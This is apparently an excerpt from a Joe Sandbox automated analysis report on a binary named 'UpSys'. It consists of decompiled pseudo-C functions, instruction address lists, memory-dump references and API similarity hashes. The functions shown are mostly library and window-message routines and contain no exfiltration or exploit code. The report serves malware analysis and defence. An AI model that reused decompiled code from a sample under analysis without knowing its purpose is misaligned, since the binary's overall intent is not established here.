				if (( *(__rcx + 0x31) & 0x000000ff) << 0x10 == sil) goto 0x4005155c;
				r8d = 0x12;
				PostMessageW(??, ??, ??, ??);
				if ( *((intOrPtr*)(__rdx + 4)) == sil) goto 0x40051619;
				r8d = 0x5b;
				PostMessageW(??, ??, ??, ??);
				goto 0x40051619;
				if ( *__rdx == sil) goto 0x400515a9;
				r8b =  *(__rcx + 0x33);
				r9d = 0;
				_v280 = __rsi;
				E00000001140041FA0(0xa0, __rcx);
				if ( *((intOrPtr*)(_t125 + 1)) == sil) goto 0x400515c5;
				r8b =  *(__rcx + 0x34);
				r9d = 0;
				_v280 = __rsi;
				E00000001140041FA0(0xa1, __rcx);
				if ( *((intOrPtr*)(_t125 + 2)) == sil) goto 0x400515e1;
				r8b =  *(__rcx + 0x30);
				r9d = 0;
				_v280 = __rsi;
				E00000001140041FA0(0x11, __rcx);
				if ( *((intOrPtr*)(_t125 + 3)) == sil) goto 0x400515fd;
				r8b =  *(__rcx + 0x31);
				r9d = 0;
				_v280 = __rsi;
				E00000001140041FA0(0x12, __rcx);
				if ( *((intOrPtr*)(_t125 + 4)) == sil) goto 0x40051619;
				r8b =  *(__rcx + 0x35);
				r9d = 0;
				_v280 = __rsi;
				E00000001140041FA0(0x5b, __rcx);
				return E00000001140042010(__rax, _t125, __rcx, __rcx, __rsi, __rbp);
			}















                                                                                                                                                                                                        0x1400513f0
                                                                                                                                                                                                        0x1400513f5
                                                                                                                                                                                                        0x140051404
                                                                                                                                                                                                        0x14005140d
                                                                                                                                                                                                        0x140051413
                                                                                                                                                                                                        0x140051419
                                                                                                                                                                                                        0x14005141f
                                                                                                                                                                                                        0x140051425
                                                                                                                                                                                                        0x140051432
                                                                                                                                                                                                        0x140051438
                                                                                                                                                                                                        0x140051441
                                                                                                                                                                                                        0x14005144c
                                                                                                                                                                                                        0x140051456
                                                                                                                                                                                                        0x14005145c
                                                                                                                                                                                                        0x14005145e
                                                                                                                                                                                                        0x140051461
                                                                                                                                                                                                        0x140051469
                                                                                                                                                                                                        0x140051471
                                                                                                                                                                                                        0x140051476
                                                                                                                                                                                                        0x14005147e
                                                                                                                                                                                                        0x140051486
                                                                                                                                                                                                        0x140051488
                                                                                                                                                                                                        0x140051491
                                                                                                                                                                                                        0x140051493
                                                                                                                                                                                                        0x14005149c
                                                                                                                                                                                                        0x14005149e
                                                                                                                                                                                                        0x1400514ab
                                                                                                                                                                                                        0x1400514b4
                                                                                                                                                                                                        0x1400514ba
                                                                                                                                                                                                        0x1400514cc
                                                                                                                                                                                                        0x1400514d9
                                                                                                                                                                                                        0x1400514e3
                                                                                                                                                                                                        0x1400514f5
                                                                                                                                                                                                        0x140051502
                                                                                                                                                                                                        0x14005150e
                                                                                                                                                                                                        0x140051514
                                                                                                                                                                                                        0x14005151a
                                                                                                                                                                                                        0x140051532
                                                                                                                                                                                                        0x140051537
                                                                                                                                                                                                        0x140051550
                                                                                                                                                                                                        0x140051556
                                                                                                                                                                                                        0x140051560
                                                                                                                                                                                                        0x140051576
                                                                                                                                                                                                        0x140051583
                                                                                                                                                                                                        0x140051589
                                                                                                                                                                                                        0x140051591
                                                                                                                                                                                                        0x140051593
                                                                                                                                                                                                        0x140051597
                                                                                                                                                                                                        0x14005159f
                                                                                                                                                                                                        0x1400515a4
                                                                                                                                                                                                        0x1400515ad
                                                                                                                                                                                                        0x1400515af
                                                                                                                                                                                                        0x1400515b3
                                                                                                                                                                                                        0x1400515bb
                                                                                                                                                                                                        0x1400515c0
                                                                                                                                                                                                        0x1400515c9
                                                                                                                                                                                                        0x1400515cb
                                                                                                                                                                                                        0x1400515cf
                                                                                                                                                                                                        0x1400515d7
                                                                                                                                                                                                        0x1400515dc
                                                                                                                                                                                                        0x1400515e5
                                                                                                                                                                                                        0x1400515e7
                                                                                                                                                                                                        0x1400515eb
                                                                                                                                                                                                        0x1400515f3
                                                                                                                                                                                                        0x1400515f8
                                                                                                                                                                                                        0x140051601
                                                                                                                                                                                                        0x140051603
                                                                                                                                                                                                        0x140051607
                                                                                                                                                                                                        0x14005160f
                                                                                                                                                                                                        0x140051614
                                                                                                                                                                                                        0x140051635

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 87235514-0
                                                                                                                                                                                                        • Opcode ID: 120e85e702ff2fd10effa702f483b368277a88f4286454e81118e4ff708d57cb
                                                                                                                                                                                                        • Instruction ID: adc403898cf5b22dbcbbe3767eba525ee2c8bf66583ab06405521c050ea996a9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 120e85e702ff2fd10effa702f483b368277a88f4286454e81118e4ff708d57cb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9A61B1725086E052F772876261107DE6FA1F3CABC8F499155FBC507E56CA3AC8518721
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002761C Relevance: 10.6, APIs: 7, Instructions: 146COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 46%
                                                                                                                                                                                                        			E0000000114002761C(void* __edi, intOrPtr __esi, void* __ebp, long long __rbx, short* __rcx, signed char* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, void* __r11) {
				void* _t57;
				void* _t72;
				signed long long _t93;
				intOrPtr* _t97;
				intOrPtr* _t98;
				short* _t101;
				long long _t102;
				long long _t113;
				intOrPtr* _t114;
				void* _t119;
				long long _t121;
				signed char* _t122;
				signed long long _t126;
				void* _t127;
				void* _t134;
				int _t136;
				signed char* _t137;
				void* _t139;
				long long _t141;

				_t134 = __r11;
				_t93 = _t126;
				 *((long long*)(_t93 + 8)) = __rbx;
				 *((long long*)(_t93 + 0x10)) = _t121;
				 *((long long*)(_t93 + 0x18)) = __rsi;
				 *((long long*)(_t93 + 0x20)) = __rdi;
				_t127 = _t126 - 0x50;
				r14d = 0;
				_t119 = __r8;
				_t137 = __rdx;
				_t101 = __rcx;
				_t113 = _t141;
				if (__rcx == _t141) goto 0x4002765f;
				_t72 = __r8 - _t141;
				if (_t72 != 0) goto 0x40027659;
				goto 0x40027805;
				if (_t72 <= 0) goto 0x4002765f;
				 *((intOrPtr*)(__rcx)) = r14w;
				if (__rdx != _t141) goto 0x4002768c;
				E0000000114001EAE4(__rdx - _t141, _t93);
				r9d = 0;
				r8d = 0;
				 *((long long*)(_t127 + 0x20)) = _t141;
				 *_t93 = 0x16;
				E0000000114001EA14(_t93, __rcx, __rcx, __rdx, __r8, _t121, __r8, _t141, _t139);
				goto 0x40027805;
				E00000001140016BCC(_t93 | 0xffffffff, _t127 + 0x30, __r9);
				if (_t101 == _t141) goto 0x400277a8;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t127 + 0x30)) + 0x14)) != r14d) goto 0x400276fc;
				if (_t119 - _t141 <= 0) goto 0x400276cc;
				 *_t101 =  *(_t113 + _t137) & 0x000000ff;
				if ( *(_t113 + _t137) == r14b) goto 0x400276e1;
				_t114 = _t113 + 1;
				_t102 = _t101 + 2;
				if (_t114 - _t119 < 0) goto 0x400276b2;
				if ( *((intOrPtr*)(_t127 + 0x48)) == r14b) goto 0x400276f4;
				 *( *((intOrPtr*)(_t127 + 0x40)) + 0xc8) =  *( *((intOrPtr*)(_t127 + 0x40)) + 0xc8) & 0xfffffffd;
				goto 0x400276f4;
				if ( *((intOrPtr*)(_t127 + 0x48)) == r14b) goto 0x400276f4;
				 *( *((intOrPtr*)(_t127 + 0x40)) + 0xc8) =  *( *((intOrPtr*)(_t127 + 0x40)) + 0xc8) & 0xfffffffd;
				_t97 = _t114;
				goto 0x40027805;
				r9d = __edi;
				 *((intOrPtr*)(_t127 + 0x28)) = __esi;
				 *((long long*)(_t127 + 0x20)) = _t102;
				MultiByteToWideChar(_t136, ??, ??, ??, ??);
				if (_t97 != _t141) goto 0x400277ef;
				if (GetLastError() == 0x7a) goto 0x40027742;
				E0000000114001EAE4(GetLastError() - 0x7a, _t97);
				 *_t97 = 0x2a;
				 *_t102 = r14w;
				goto 0x400276cc;
				r13d = __esi;
				_t122 = _t137;
				if (__esi == r14d) goto 0x4002777a;
				r13d = r13d - 1;
				if ( *_t122 == r14b) goto 0x4002777a;
				if (E000000011400177DC( *_t122 & 0x000000ff,  *_t122 - r14b, _t97, _t134) == r14d) goto 0x40027772;
				if (_t122[1] == r14b) goto 0x40027731;
				goto 0x4002774b;
				_t98 =  *((intOrPtr*)(_t127 + 0x30));
				r9d = __ebp - r12d;
				 *((intOrPtr*)(_t127 + 0x28)) = __esi;
				 *((long long*)(_t127 + 0x20)) = _t102;
				MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_t98 != _t141) goto 0x400277f2;
				goto 0x40027731;
				if ( *((intOrPtr*)(_t98 + 0x14)) != r14d) goto 0x400277b8;
				E00000001140017C00(_t98, _t137);
				goto 0x400277f2;
				r9d = __edi;
				 *((intOrPtr*)(_t127 + 0x28)) = r14d;
				 *((long long*)(_t127 + 0x20)) = _t141;
				MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_t98 != _t141) goto 0x400277ef;
				_t57 = E0000000114001EAE4(_t98 - _t141, _t98);
				 *_t98 = 0x2a;
				goto 0x400276cc;
				if ( *((intOrPtr*)(_t127 + 0x48)) == r14b) goto 0x40027805;
				 *( *((intOrPtr*)(_t127 + 0x40)) + 0xc8) =  *( *((intOrPtr*)(_t127 + 0x40)) + 0xc8) & 0xfffffffd;
				return _t57;
			}






















                                                                                                                                                                                                        0x14002761c
                                                                                                                                                                                                        0x14002761c
                                                                                                                                                                                                        0x14002761f
                                                                                                                                                                                                        0x140027623
                                                                                                                                                                                                        0x140027627
                                                                                                                                                                                                        0x14002762b
                                                                                                                                                                                                        0x140027635
                                                                                                                                                                                                        0x140027639
                                                                                                                                                                                                        0x14002763c
                                                                                                                                                                                                        0x14002763f
                                                                                                                                                                                                        0x140027642
                                                                                                                                                                                                        0x140027645
                                                                                                                                                                                                        0x14002764b
                                                                                                                                                                                                        0x14002764d
                                                                                                                                                                                                        0x140027650
                                                                                                                                                                                                        0x140027654
                                                                                                                                                                                                        0x140027659
                                                                                                                                                                                                        0x14002765b
                                                                                                                                                                                                        0x140027662
                                                                                                                                                                                                        0x140027664
                                                                                                                                                                                                        0x140027669
                                                                                                                                                                                                        0x14002766c
                                                                                                                                                                                                        0x140027673
                                                                                                                                                                                                        0x140027678
                                                                                                                                                                                                        0x14002767e
                                                                                                                                                                                                        0x140027687
                                                                                                                                                                                                        0x140027694
                                                                                                                                                                                                        0x1400276a1
                                                                                                                                                                                                        0x1400276ab
                                                                                                                                                                                                        0x1400276b0
                                                                                                                                                                                                        0x1400276b7
                                                                                                                                                                                                        0x1400276be
                                                                                                                                                                                                        0x1400276c0
                                                                                                                                                                                                        0x1400276c3
                                                                                                                                                                                                        0x1400276ca
                                                                                                                                                                                                        0x1400276d1
                                                                                                                                                                                                        0x1400276d8
                                                                                                                                                                                                        0x1400276df
                                                                                                                                                                                                        0x1400276e6
                                                                                                                                                                                                        0x1400276ed
                                                                                                                                                                                                        0x1400276f4
                                                                                                                                                                                                        0x1400276f7
                                                                                                                                                                                                        0x140027709
                                                                                                                                                                                                        0x14002770c
                                                                                                                                                                                                        0x140027710
                                                                                                                                                                                                        0x140027715
                                                                                                                                                                                                        0x140027720
                                                                                                                                                                                                        0x14002772f
                                                                                                                                                                                                        0x140027731
                                                                                                                                                                                                        0x140027736
                                                                                                                                                                                                        0x14002773c
                                                                                                                                                                                                        0x140027740
                                                                                                                                                                                                        0x140027742
                                                                                                                                                                                                        0x140027745
                                                                                                                                                                                                        0x14002774b
                                                                                                                                                                                                        0x14002774d
                                                                                                                                                                                                        0x140027754
                                                                                                                                                                                                        0x140027767
                                                                                                                                                                                                        0x140027770
                                                                                                                                                                                                        0x140027778
                                                                                                                                                                                                        0x14002777a
                                                                                                                                                                                                        0x14002778d
                                                                                                                                                                                                        0x140027790
                                                                                                                                                                                                        0x140027794
                                                                                                                                                                                                        0x140027799
                                                                                                                                                                                                        0x1400277a4
                                                                                                                                                                                                        0x1400277a6
                                                                                                                                                                                                        0x1400277ac
                                                                                                                                                                                                        0x1400277b1
                                                                                                                                                                                                        0x1400277b6
                                                                                                                                                                                                        0x1400277c5
                                                                                                                                                                                                        0x1400277c8
                                                                                                                                                                                                        0x1400277cd
                                                                                                                                                                                                        0x1400277d2
                                                                                                                                                                                                        0x1400277dd
                                                                                                                                                                                                        0x1400277df
                                                                                                                                                                                                        0x1400277e4
                                                                                                                                                                                                        0x1400277ea
                                                                                                                                                                                                        0x1400277f7
                                                                                                                                                                                                        0x1400277fe
                                                                                                                                                                                                        0x140027823

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2918714741-0
                                                                                                                                                                                                        • Opcode ID: 0506795092bc85ae7fd85f8f36f1097d955ddf8ce454d09f0b56fc42cda07bdf
                                                                                                                                                                                                        • Instruction ID: 9df83b5e4b4be1178248ff4933a5105e6db19af4be11a62659492ced266fc868
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0506795092bc85ae7fd85f8f36f1097d955ddf8ce454d09f0b56fc42cda07bdf
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B451E732204A8086E7628F2AE444BAD7BA5F749BE4F145319FB6E17BF4CB39C850C745
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004D0C0 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: LongMessageSendWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3360111000-0
                                                                                                                                                                                                        • Opcode ID: eafc7ad71dcf80e97216a70c463a52f095c671a68d87b83f9bd2cc5f825087f5
                                                                                                                                                                                                        • Instruction ID: 2b3de9d1df9089d938b1758f8d5edf7467a1135c6968f9a62071a24f115df3e1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: eafc7ad71dcf80e97216a70c463a52f095c671a68d87b83f9bd2cc5f825087f5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 81412536315A44A1EB268B2AE9947A977A1F3C8FD4F558122EF1E47BB4CF39C441C304
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400238B4 Relevance: 10.6, APIs: 7, Instructions: 79COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 67%
                                                                                                                                                                                                        			E000000011400238B4(signed int __ebx, signed int __ecx, void* __edi, intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, void* __rbp, void* __r8, signed int _a8, long long _a24) {
				signed int _v40;
				void* __rdi;
				void* __rsi;
				void* __r12;
				signed int _t34;
				void* _t48;
				void* _t51;
				intOrPtr* _t57;
				intOrPtr* _t58;
				signed long long _t61;
				signed long long _t68;

				_t73 = __r8;
				_t69 = __rbp;
				_t65 = __rdx;
				_t48 = __edi;
				_a24 = __rbx;
				_a8 = __ecx;
				_t66 = __ecx;
				if (__edi != 0xfffffffe) goto 0x400238e0;
				E0000000114001EAE4(__edi - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x400239b9;
				if (__ecx < 0) goto 0x40023996;
				_t51 = _t48 -  *0x400c88bc; // 0x20
				if (_t51 >= 0) goto 0x40023996;
				_t68 = __ecx >> 5;
				_t34 = __ebx & 0x0000001f;
				_t61 = __ecx * 0x58;
				_t57 =  *((intOrPtr*)(0x400c88c0 + _t68 * 8));
				if (_t51 != 0) goto 0x4002393f;
				E0000000114001EAE4(_t51, _t57);
				 *_t57 = 9;
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t57, _t61, __rcx, __rdx, _t68, __rbp, __r8);
				goto 0x400239b9;
				E00000001140022130(_t34, __edi, _t61, _t66, _t68, 0x400c88c0);
				_t58 =  *((intOrPtr*)(0x400c88c0 + _t68 * 8));
				if (( *(_t58 + _t61 + 8) & 0x00000001) == 0) goto 0x4002397d;
				E000000011400220AC(_t48, 0, _t58, _t61, _t68, _t69, _t73);
				if (FlushFileBuffers(??) != 0) goto 0x40023970;
				GetLastError();
				goto 0x40023972;
				if (0 == 0) goto 0x4002398b;
				E0000000114001EB04(0, _t58);
				 *_t58 = 0;
				E0000000114001EAE4(0, _t58);
				 *_t58 = 9;
				E000000011400221D8();
				goto 0x400239b9;
				E0000000114001EAE4(0, _t58);
				 *_t58 = 9;
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				return E0000000114001EA14(_t58, _t61, _t58, _t65, _t68, _t69, _t73) | 0xffffffff;
			}














                                                                                                                                                                                                        0x1400238b4
                                                                                                                                                                                                        0x1400238b4
                                                                                                                                                                                                        0x1400238b4
                                                                                                                                                                                                        0x1400238b4
                                                                                                                                                                                                        0x1400238b4
                                                                                                                                                                                                        0x1400238b9
                                                                                                                                                                                                        0x1400238c5
                                                                                                                                                                                                        0x1400238cb
                                                                                                                                                                                                        0x1400238cd
                                                                                                                                                                                                        0x1400238d2
                                                                                                                                                                                                        0x1400238db
                                                                                                                                                                                                        0x1400238e2
                                                                                                                                                                                                        0x1400238e8
                                                                                                                                                                                                        0x1400238ee
                                                                                                                                                                                                        0x1400238fa
                                                                                                                                                                                                        0x140023905
                                                                                                                                                                                                        0x140023908
                                                                                                                                                                                                        0x14002390c
                                                                                                                                                                                                        0x140023918
                                                                                                                                                                                                        0x14002391a
                                                                                                                                                                                                        0x14002391f
                                                                                                                                                                                                        0x140023925
                                                                                                                                                                                                        0x14002392b
                                                                                                                                                                                                        0x14002392e
                                                                                                                                                                                                        0x140023935
                                                                                                                                                                                                        0x14002393d
                                                                                                                                                                                                        0x140023941
                                                                                                                                                                                                        0x140023947
                                                                                                                                                                                                        0x140023950
                                                                                                                                                                                                        0x140023954
                                                                                                                                                                                                        0x140023964
                                                                                                                                                                                                        0x140023966
                                                                                                                                                                                                        0x14002396e
                                                                                                                                                                                                        0x140023974
                                                                                                                                                                                                        0x140023976
                                                                                                                                                                                                        0x14002397b
                                                                                                                                                                                                        0x14002397d
                                                                                                                                                                                                        0x140023982
                                                                                                                                                                                                        0x14002398d
                                                                                                                                                                                                        0x140023994
                                                                                                                                                                                                        0x140023996
                                                                                                                                                                                                        0x14002399b
                                                                                                                                                                                                        0x1400239a1
                                                                                                                                                                                                        0x1400239a7
                                                                                                                                                                                                        0x1400239aa
                                                                                                                                                                                                        0x1400239c6

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2918714741-0
                                                                                                                                                                                                        • Opcode ID: 14b9a5d3ac1e6a5a7fa719b2a541b51e0d4821c8f95c206c4ad7aea3cdfd467e
                                                                                                                                                                                                        • Instruction ID: e123483e2586fb3c9faa6c2991e10f1ff4fd02efdc6e5c935bf49a27367918fb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 14b9a5d3ac1e6a5a7fa719b2a541b51e0d4821c8f95c206c4ad7aea3cdfd467e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1031F63262068046F727AF77A8857EE6651BB897E0F45461DFB250B6F2CFB88840C306
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005F450 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 78windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$Window$CreateObjectShowStock
                                                                                                                                                                                                        • String ID: Msctls_Progress32
                                                                                                                                                                                                        • API String ID: 269107984-3636473452
                                                                                                                                                                                                        • Opcode ID: 7b7e983fab8125a1b52954619cd890282fd915eefa5c3cfd441063e205e7e216
                                                                                                                                                                                                        • Instruction ID: 9dcbcd883fd25b18bdfa934a4cabe9bbcbcf76ac90c2bce3c63cb13fd06b223b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7b7e983fab8125a1b52954619cd890282fd915eefa5c3cfd441063e205e7e216
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 18316B76208B8086E721CF26F444B8AB7A1F79C7D0F648125EB8953B68CF39C845CB44
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001F0D4 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 47%
                                                                                                                                                                                                        			E0000000114001F0D4(void* __ecx, void* __edx, void* __ebp, long long __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __rbp, void* __r8, void* __r9, long long _a8, long long _a16, long long _a24) {
				void* __r13;
				long long _t39;
				void* _t41;
				void* _t44;
				signed long long _t52;
				void* _t62;

				_t54 = __rsi;
				_t44 = __rcx;
				_t39 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t41 = __ecx;
				if ( *0x400b4b58 != 0) goto 0x4001f112;
				E0000000114001EF68();
				_t4 = _t54 + 0x1d; // 0x1e
				E0000000114001ED40(_t4, _t41, __rdi, __r9, _t62);
				E00000001140016FE0();
				_t52 = _t41 + _t41;
				if ( *((long long*)(0x400ade60 + _t52 * 8)) == 0) goto 0x4001f12b;
				goto 0x4001f1a6;
				E0000000114001D910(__ebp, _t39, _t41, _t44, __rsi, __rbp);
				if (_t39 != 0) goto 0x4001f14c;
				E0000000114001EAE4(_t39, _t39);
				 *_t39 = 0xc;
				goto 0x4001f1a6;
				E0000000114001F1BC();
				if ( *((long long*)(0x400ade60 + _t52 * 8)) != 0) goto 0x4001f18e;
				if (E0000000114001F83C() != 0) goto 0x4001f187;
				free(??);
				E0000000114001EAE4(E0000000114001F83C(), _t39);
				 *_t39 = 0xc;
				goto 0x4001f197;
				 *((long long*)(0x400ade60 + _t52 * 8)) = _t39;
				goto 0x4001f197;
				free(??);
				LeaveCriticalSection(??);
				return 0;
			}









                                                                                                                                                                                                        0x14001f0d4
                                                                                                                                                                                                        0x14001f0d4
                                                                                                                                                                                                        0x14001f0d4
                                                                                                                                                                                                        0x14001f0d4
